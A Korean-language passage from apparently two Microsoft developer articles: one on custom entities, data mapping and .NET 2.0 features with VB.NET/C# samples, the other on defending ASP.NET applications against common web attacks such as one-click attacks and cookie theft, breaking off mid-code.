그런 다음 아래와 같이 저장 프로시저를 사용하여 두 개의 개별 결과를 가져오는데 다음과 같이 첫 번째는User용이고 두 번째는 사용자의Role을 위한 것입니다.
CREATE PROCEDURE GetUserById( @UserId INT)ASSELECT UserId, UserName, [Password] FROM Users WHERE UserId = @UserIDSELECT R.RoleId, R.[Name], R.Code FROM Roles R INNER JOIN UserRoleJoin URJ ON R.RoleId = URJ.RoleId WHERE URJ.UserId = @UserId
마지막으로 다음과 같이 관계형 모델에서 개체 모델로 매핑합니다.
'Visual Basic .NETPublic Function GetUserById(ByVal userId As Integer) As User Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetUserById", connection) command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId Dim dr As SqlDataReader = Nothing Try connection.Open() dr = command.ExecuteReader() Dim user As User = Nothing If dr.Read() Then user = PopulateUser(dr) dr.NextResult() While dr.Read() user.Roles.Add(PopulateRole(dr)) End While End If Return user Finally If Not dr Is Nothing AndAlso Not dr.IsClosed Then dr.Close() End If connection.Dispose() command.Dispose() End TryEnd Function//C#public User GetUserById(int userId) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUserById", connection); command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId; SqlDataReader dr = null; try { connection.Open(); dr = command.ExecuteReader(); User user = null; if (dr.Read()){ user = PopulateUser(dr); dr.NextResult(); while(dr.Read()){ user.Roles.Add(PopulateRole(dr)); } } return user; }finally{ if (dr != null && !dr.IsClosed){ dr.Close(); } connection.Dispose(); command.Dispose(); }}User인스턴스가 만들어져 채워지면 다음 결과로 이동하고 선택 및 순환하여Roles를 채우고 이를User클래스의RolesCollection속성에 추가합니다.
이 가이드의 목적은 사용자 지정 엔터티 및 컬렉션의 개념과 사용 방법을 소개하는 것입니다. 사용자 지정 엔터티의 사용은 업계에서 널리 사용되는 방식이며 그로 인해 다양한 시나리오를 처리하는 수많은 패턴이 문서화되어 있습니다. 디자인 패턴이 유용한 이유는 다양합니다. 첫째, 특정 상황을 처리하는 데 있어 아마 주어진 문제를 처음 겪지는 않을 것입니다. 디자인 패턴을 사용하면 이미 시도된, 그리고 테스트된 솔루션을 주어진 문제에 다시 사용할 수 있습니다(설계 패턴을 완전히 잘라내어 붙여넣을 수는 없지만 대개 솔루션을 위한 훌륭한 기초가 됩니다). 또한 널리 사용되는 접근 방식이고 체계적으로 문서화되어 있으므로 시스템을 복잡성의 정도에 따라 확장할 수 있다는 안정감을 느끼게 해줍니다. 디자인 패턴은 또한 일반적인 어휘를 제공하여 정보의 전달 및 교육이 매우 용이하게 이뤄질 수 있습니다.
물론 디자인 패턴은 사용자 지정 엔터티에만 적용되는 것이 아니며 실제로 다양한 분야에 사용됩니다. 하지만 사용자 지정 엔터티와 매핑 프로세스에 적용할 수 있는 문서화된 패턴이 얼마나 되는지 확인하면 깜짝 놀라게 될 것입니다.
이 마지막 섹션은 보다 크고 복잡한 시스템을 실행할 수 있는 일부 고급 시나리오를 설명하기 위한 것입니다. 대부분의 항목은 개별 가이드만으로 충분할 수 있지만 여기서는 최소한 몇 가지 시작 리소스를 제공할 예정입니다.
처음에 활용하기 좋은 자료로는 Martin Fowler의Patterns of Enterprise Application Architecture 가 있는데 일반적인 디자인 패턴을 위한 효과적인 참조(자세한 설명과 많은 샘플 코드가 있는) 역할 밖에 못하지만 처음 100페이지를 잘 읽어보면 전체적인 개념을 이해하는 데 많은 도움이 됩니다. 또한 Fowler의 온라인catalog of patterns 는 이미 개념에 친숙하지만 간단한 참조가 필요한 사람에게 유용합니다.
앞에서 소개한 예제들은 모두 데이터베이스에서 데이터를 가져오고 이 데이터에서 개체를 만드는 부분을 다루고 있습니다. 또한 대부분의 경우 데이터의 업데이트, 삭제 및 삽입이 간단히 이루어집니다. 여기서 소개한 비즈니스 계층은 개체를 만들고 이를 데이터 액세스 계층으로 전달하며 관계 영역에 대한 매핑을 처리합니다. 예를 들면 다음과 같습니다.
'Visual Basic .NETPublic sub UpdateUser(ByVal user As User) Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("UpdateUser", connection) '역방향 맵핑을 위한 재사용 함수도 만들 수 있음 command.Parameters.Add("@UserId", SqlDbType.Int) command.Parameters(0).Value = user.UserId command.Parameters.Add("@Password", SqlDbType.VarChar, 64) command.Parameters(1).Value = user.Password command.Parameters.Add("@UserName", SqlDbType.VarChar, 128) command.Parameters(2).Value = user.UserName Try connection.Open() command.ExecuteNonQuery() Finally connection.Dispose() command.Dispose() End TryEnd Sub//C#public void UpdateUser(User user) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("UpdateUser", connection); //역방향 맵핑을 위한 재사용 함수도 만들 수 있음 command.Parameters.Add("@UserId", SqlDbType.Int); command.Parameters[0].Value = user.UserId; command.Parameters.Add("@Password", SqlDbType.VarChar, 64); command.Parameters[1].Value = user.Password; command.Parameters.Add("@UserName", SqlDbType.VarChar, 128); command.Parameters[2].Value = user.UserName; try { connection.Open(); command.ExecuteNonQuery(); }finally{ connection.Dispose(); command.Dispose(); }}그러나 동시성을 처리하는 경우는 간단하지 않습니다. 즉, 두 명의 사용자가 동시에 동일한 데이터를 업데이트하면 어떤 일이 발생할까요? 기본 동작(아무 것도 하지 않는 경우)은 데이터를 마지막으로 커밋한 사람이 이전의 모든 작업을 덮어쓰는 것입니다. 이러한 동작은 사용자 한 명의 작업을 자동으로 덮어쓰게 되므로 이상적이지는 않을 수 있습니다. 충돌을 완전히 피하는 한 가지 방법은 비관적 동시성을 사용하는 것이지만 이 방식을 사용하려면 확장 가능한 방식으로 구현하기 힘든 특정 유형의 잠금 메커니즘을 사용해야 합니다. 이에 대한 대안은 낙관적 동시성 기법을 사용하는 것입니다. 첫 번째 커밋에 우선 순위를 부여하고 이후의 사용자에게 알리는 것은 일반적으로 보다 순조롭고 사용자 친화적인 접근 방식입니다. 이를 위해 타임스탬프 같은 특정 유형의 행 버전 관리를 사용합니다.
참고 자료
적절한 유연성 및 성능에 대한 염려와는 달리 사소한 성능 차이에 대해 걱정하는 경우가 너무나도 많습니다. 성능은 물론 중요하지만 가장 간단한 솔루션을 제외한 모든 부분에 대해 일반화된 지침을 제공하기란 어렵기 마련입니다. 사용자 지정 컬렉션과DataSet를 예로 들어봅시다. 어느 쪽이 더 빠를까요? 사용자 지정 컬렉션을 사용하면DataReader를 많이 사용하여 데이터베이스에서 데이터를 보다 신속하게 가져올 수 있습니다. 하지만 여기서 주의할 점은 이를 어떤 데이터 형식과 함께 어떻게 사용하느냐에 따라 해답이 달라지므로 포괄적인 설명은 아무런 소용이 없다는 것입니다. 보다 중요한 사항은 절감할 수 있는 처리 시간이 어느 정도이든 관계없이 관리 용이성과의 차이에 비해 그다지 많지 않을 것이라는 사실입니다.
물론 관리하기 용이한 고성능 솔루션을 가질 수 없다는 말은 아닙니다. 이를 사용하는 방법에 크게 좌우된다고 다시 말하지만 여기에는 성능을 극대화할 수 있는 몇 가지 패턴이 있습니다. 먼저 사용자 지정 엔터티 및 컬렉션 캐시와DataSet가HttpCache같은 동일한 메커니즘을 사용할 수 있다는 점을 알아야 합니다.DataSet의 한 가지 이점은Select문을 작성하여 필요한 정보만 포함시킬 수 있는 기능에 있습니다. 사용자 지정 엔터티를 사용하면 전체 엔터티와 자식 엔터티까지 모두 채워야 한다는 느낌을 받는 경우가 많습니다. 예를 들어DataSet를 사용하여Organization목록을 표시하려면OganizationId,Name및Address를 가져와 이를 반복기에 바인딩할 것입니다. 필자의 경우 사용자 지정 엔터티를 사용할 때 다른 모든Organization정보를 가져와야 할 것 같은 느낌까지 듭니다. 또한 이러한 정보에는 ISO 인증 여부, 모든 직원 컬렉션, 추가 연락처 정보 등이 포함될 수 있습니다. 다른 사람은 이러한 고민거리를 공유하지 않을 수도 있지만 다행히도 우리는 원하는 경우 사용자 지정 엔터티를 세부적으로 제어할 수 있습니다. 가장 일반적인 접근 방식은 처음 필요할 때만 정보를 가져오는 레이지 로드(lazy-load) 패턴 형식을 사용하는 것입니다(속성에 효과적으로 캡슐화할 수 있음). 개별 속성을 이런 방식으로 제어하면 다른 방식으로는 얻기 힘든 엄청난 유연성을 발휘하게 됩니다(DataColumn수준에서 유사한 작업을 수행한다고 가정해 보십시오).
참고 자료
DataView의 기본 정렬 및 필터링 지원은 SQL 및 기본 데이터 구조에 대해 알아야 한다는 단점은 있지만 편리한 기능이며 사용자 지정 컬렉션에는 없는 기능이기도 합니다. 정렬 및 필터링은 계속 수행할 수 있지만 이렇게 하려면 기능을 작성해야 합니다. 고급 기법이라고 할 수는 없지만 전체 데모 코드는 이 섹션의 범위를 벗어납니다. 하지만 필터 클래스로 필터링하거나 비교 클래스로 정렬하는 것 같은 대부분의 기법은 전과 상당히 비슷하며 분명 방법이 있습니다. 다음 리소스를 참조하십시오.
개념적인 문제를 지나쳤다면 사용자 지정 엔터티 및 컬렉션의 중요한 단점은 이러한 모든 유연성, 추상화 및 낮은 유지 관리 비용을 제공하는 추가 코드의 양을 들 수 있습니다. 실제로 지금까지 언급한 줄어든 유지 관리 비용과 버그보다 추가 코드가 더 부담스러울 수도 있습니다. 어떤 솔루션도 완벽하지는 않으므로 이것은 분명히 올바른 지적이지만 디자인 패턴 및 CSLA.NET 같은 프레임워크가 장기적으로 이러한 문제를 점차 완화하고 있습니다. 또한 패턴 및 프레임워크와는 별도로 코드 생성 도구가 실제로 작성하는 데 필요한 코드의 양을 현저히 줄여줄 수 있습니다. 이 가이드는 처음에 무료로 널리 사용되는 CodeSmith 같은 코드 생성 도구를 자세히 설명하려고 했지만 필자의 지식 범위를 넘어서는 너무 많은 리소스가 있어 제외하였습니다.
코드 생성이 마치 꿈 같은 일로 들릴 수도 있습니다. 그러나 적절히 사용하고 이해하면 사용자 지정 엔터티 뿐만 아니라 다른 분야에서도 강력한 무기가 될 수 있습니다. 코드 생성이 사용자 지정 엔터티에만 적용되는 것은 아니지만 대부분 이러한 목적으로만 조정되어 있습니다. 이유는 간단합니다. 사용자 지정 엔터티를 사용하려면 많은 양의 반복 코드가 필요하기 때문입니다.
간단히 말해 코드 생성은 어떤 식으로 작동할까요? 이러한 개념은 진로를 한참 벗어났거나 역효과를 나타내는 것처럼 들리겠지만 기본적으로는 코드(템플릿)를 작성하여 코드를 생성하게 됩니다. 예를 들어 CodeSmith는 다음과 같이 데이터베이스를 활용하고 모든 속성 즉, 테이블, 열(형식, 크기 등) 및 관계를 가져올 수 있게 해주는 강력한 클래스와 함께 제공됩니다. 이 정보를 적절히 활용하면 지금까지 언급한 내용의 대부분을 자동화할 수 있습니다. 예를 들어 개발자는 테이블을 선택하고 적절한 템플릿과 함께 자동으로 사용자 지정 엔터티(올바른 필드, 속성 및 생성자와 함께), 매핑 함수, 사용자 지정 컬렉션 그리고 기본적인 선택, 삽입, 업데이트 및 삭제 기능을 만들 수 있습니다. 또한 더 나아가 지금까지 다룬 정렬, 필터링 및 기타 고급 기능을 구현할 수 있습니다.
CodeSmith는 바로 사용할 수 있는 다양한 템플릿이 함께 제공되어 훌륭한 학습 리소스로 사용할 수도 있습니다. 마지막으로 CodeSmith에는 CSLA.NET 프레임워크를 구현하기 위한 다양한 템플릿이 들어 있습니다. 두어 시간 동안 처음에 기본 사항을 익히고 CodeSmith에 익숙해지자 막대한 시간을 절감하게 되었습니다. 또한 모든 개발자들이 동일한 템플릿을 사용하면 코드 전체에 높은 수준의 동시성이 나타나 다른 사람의 함수도 손쉽게 작업할 수 있습니다.
참고 자료
O/R 매퍼는 다뤄본 경험이 부족하기 때문에 언급하기가 꺼려지지만 잠재적인 가치는 무시할 수 없는 수준입니다. 코드 생성기가 소스 코드에 복사하여 붙여넣기 위한 템플릿을 기반으로 하는 코드를 만들면 O/R 매퍼는 몇 가지 유형의 구성 메커니즘에서 런타임에 코드를 동적으로 생성합니다. 예를 들어 XML 파일 내에서 일부 테이블의 열 X가 엔터티 속성 Y에 매핑되도록 지정할 수 있습니다. 사용자 지정 엔터티는 계속 만들지만 컬렉션, 매핑 및 다른 데이터 액세스 함수(저장 프로시저 포함)는 모두 동적으로 만들어집니다. 이론적으로 O/R 매퍼는 사용자 지정 엔터티의 문제를 거의 완전한 수준으로 완화합니다. 관계 및 개체 영역이 다양해지고 매핑 프로세스의 복잡성이 늘어남에 따라 O/R 매퍼의 중요성은 훨씬 더해가고 있습니다. O/R 매퍼의 두 가지 단점은 최소한 .NET 커뮤니티에서만큼은 보안과 성능 수준이 열악한 것으로 알려져 있다는 점입니다. 필자가 연구해 본 결과 보안 수준이 떨어지지 않을 뿐 아니라 일부 상황에서는 성능이 열악하게 나타날 수 있지만 다른 것들보다는 뛰어난 수준일 것입니다. O/R 매퍼가 모든 상황에 적합하지는 않지만 복잡한 시스템을 처리하고 있는 경우라면 한 번 살펴볼 가치가 충분합니다.
참고 자료
앞으로 나올 .NET Framework 2.0 릴리스는 이 가이드에서 전체적으로 살펴본 몇 가지 구현 세부 사항이 변경될 예정입니다. 이러한 변화로 인해 사용자 지정 엔터티를 지원하는 데 필요한 코드의 양이 줄어드는 것은 물론 매핑 문제를 처리하는 데도 도움이 될 것으로 보입니다.
generics에 대해 자주 언급하는 한 가지 중요한 이유는 개발자에게 강력한 형식의 컬렉션을 제공하기 때문입니다.Arraylists같은 기존 컬렉션은 특성상 약한 형식으로 인해 외면 당했습니다. Generics는 현재의 컬렉션과 동일한 수준의 편의성을 강력한 형식으로 제공합니다. 이를 위해 선언 시에 형식을 지정해야 합니다. 예를 들어 다음과 같이 코드를 추가하지 않고UserCollection을 대체하며List<T>generic의 새 인스턴스를 만들고User클래스를 지정할 수 있습니다.
'Visual Basic .NETDim users as new IList(of User)//C#IList<User> users = new IList<user>();
선언된users컬렉션은User형식의 개체만 처리할 수 있어 컴파일 타임 검사 및 최적화의 모든 이점을 제공합니다.
참고 자료
Nullable 형식은 실제로 앞에서 나열된 내용과 다른 이유로 사용되는 generics입니다. 데이터베이스를 처리할 때 직면하는 한 가지 난제는NULL을 지원하는 열을 적절히 일관된 방식으로 처리하는 것입니다. 문자열 및 다른 클래스(참조 형식이라고 함)를 처리할 때는 다음과 같이nothing/null을 코드의 변수에 할당할 수 있습니다.
'Visual Basic .NETif dr("UserName") Is DBNull.Value Then user.UserName = nothingEnd If//C#if (dr["UserName"] == DBNull.Value){ user.UserName = null;}아니면 그냥 아무 작업도 수행하지 않을 수 있습니다(참조 형식은 기본적으로nothing/null임). 하지만integer,boolean,decimal등과 같은 값 형식에 대해서는 이 방식이 적용되지 않습니다.nothing/null을 이러한 값에 할당할 수는 있지만 이렇게 하면 기본값이 할당됩니다. 정수를 선언하거나 정수에nothing/null을 할당하는 경우 변수는 실제로 값0을 저장하게 됩니다. 이로 인해 데이터베이스에 다시 매핑하기가 어려워지는데 이는 값이0인지null인지 확인이 필요하기 때문입니다. nullable 형식은 값 형식에 실제 값이나 null을 저장할 수 있도록 하여 이 문제를 해결합니다. 예를 들어userId열에null값을 지원하려는 경우(현실적이지 않지만) 먼저 다음과 같이userId필드와 해당하는 속성을 nullable 형식으로 선언합니다.
'Visual Basic .NETPrivate _userId As Nullable(Of Integer)Public Property UserId() As Nullable(Of Integer) Get Return _userId End Get Set(ByVal value As Nullable(Of Integer)) _userId = value End SetEnd Property//C#private Nullable<int> userId;public Nullable<int> UserId { get { return userId; } set { userId = value; }}그런 다음 아래와 같이HasValue속성을 사용하여nothing/null의 할당 여부를 결정합니다.
'Visual Basic .NETIf UserId.HasValue Then Return UserId.ValueElse Return DBNull.ValueEnd If//C#if (UserId.HasValue) { return UserId.Value;}else { return DBNull.Value;}참고 자료
지금껏 살펴본UserCollection예제는 사용자 지정 컬렉션에 필요할 수 있는 기본 기능만 나타내고 있습니다. 제공된 구현으로 수행할 수 없는 일 중 하나로foreach루프를 사용하여 컬렉션을 순환하는 기능을 들 수 있습니다. 이를 수행하려면 사용자 지정 컬렉션에IEnumerable인터페이스를 구현하는 열거자 지원 클래스가 있어야 합니다. 이는 매우 간단하고 반복적인 프로세스지만 훨씬 많은 코드가 필요합니다. C# 2.0에는 이러한 인터페이스의 구현 세부 사항을 자동으로 처리하는 새로운yield키워드가 도입되었습니다. 현재 Visual Basic .NET에는 새로운yield키워드와 동일한 항목이 없습니다.
침고 자료:
사용자 지정 엔터티 및 컬렉션으로 전환하는 결정을 가볍게 내려서는 안 되며 수많은 요소들을 고려해야 합니다. 예를 들어 OO 개념에 대한 이해, 이 새로운 접근 방식을 활용하는 데 걸리는 시간은 물론 배포를 염두에 두고 있는 환경 등이 여기에 속합니다. 일반적으로는 이점이 상당하지만 특정 상황에 해당되지 않을 수도 있습니다. 또한 자신의 사례에 적합하더라도 단점으로 인해 효력을 발휘하지 못할 수 있습니다. 아울러 수많은 대안 솔루션이 있음을 염두에 둬야 합니다. Jimmy Nilsson은 직접 저술한 5부 시리즈인 Choosing Data Containers for .NET(1 ,2 ,3 ,4 및5 부)을 통해 이러한 몇 가지 대안을 간략히 설명하고 있습니다.
사용자 지정 엔터티는 개체 지향 프로그래밍의 풍부한 기능을 제공하는 것은 물론 견고하고 관리가 용이한 N 계층 아키텍처를 위한 토대를 설치하는 데 도움을 줍니다. 이 가이드의 목표 중 한 가지는 시스템을 일반적인DataSet및DataTable대신 이를 구성하고 있는 비즈니스 엔터티의 관점에서 생각하도록 만드는 것입니다. 또한 선택한 방법, 디자인 패턴, 개체 및 관계 영역 간의 차이(자세한 정보 ) 및 N 계층 아키텍처에 관계없이 알아두어야 할 몇 가지 주요 사항을 짚어 보았습니다. 지금까지 쏟은 시간은 시스템 수명 전체에 걸쳐 수많은 시간을 보상해 주는 방법이 될 것입니다.
Dino Esposito
Wintellect
적용 대상
Microsoft ASP.NET 1.x
Microsoft ASP.NET 2.0
요약:가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.
ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인
ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스
이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).
이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.
웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.
이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.
이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.
표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.
| 공격 | 공격을 가능하게 하는 요인 |
|---|---|
| 교차 사이트 스크립팅(XSS) | 신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨 |
| SQL 주입 | 사용자 입력 내용을 연결하여 SQL 명령을 형성함 |
| 세션 가로채기 | 세션 ID 추측 및 유출된 세션 ID 쿠키 |
| 한 번 클릭 | 인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨 |
| 숨겨진 필드 변조 | 선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음 |
표 1. 일반적인 웹 공격
이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.
흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.
아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.
ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.
ASP.NET 1.1부터 도입된ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은Page클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.
현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.
스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까?ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.
속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉,ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해한 번 클릭공격의 기본 사항을 간략하게 검토해 보겠습니다.
한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.
한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.
앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).
그림 1. 한 번 클릭 공격
왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.
Page_Load이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.
한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?
물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다.EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이ViewStateUserKey입니다.
속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?
ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.
다음은 모든 페이지에 있어야 하는 코드입니다.
void Page_Init (object sender, EventArgs e)
{ ViewStateUserKey = Session.SessionID; : }이 코드를 계속 다시 쓰지 않도록 하려면Page파생 클래스의OnInit가상 메서드에 이를 포함시킵니다.Page.Init이벤트에서 이 속성을 설정해야 합니다.
protected override OnInit(EventArgs e)
{ base.OnInit(e); ViewStateUserKey = Session.SessionID; }저의 다른 기사인더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다.aspnetpro.com
에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.
쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.
쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.
너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.
void OnLogin(object sender, EventArgs e)
{ // 자격 증명 검사if (ValidateUser(user, pswd))
{ // 쿠키 만료일 설정HttpCookie cookie; cookie =
FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
// 응답에 쿠키 추가 Response.Cookies.Add(cookie);
// 리디렉션 string targetUrl;
targetUrl =
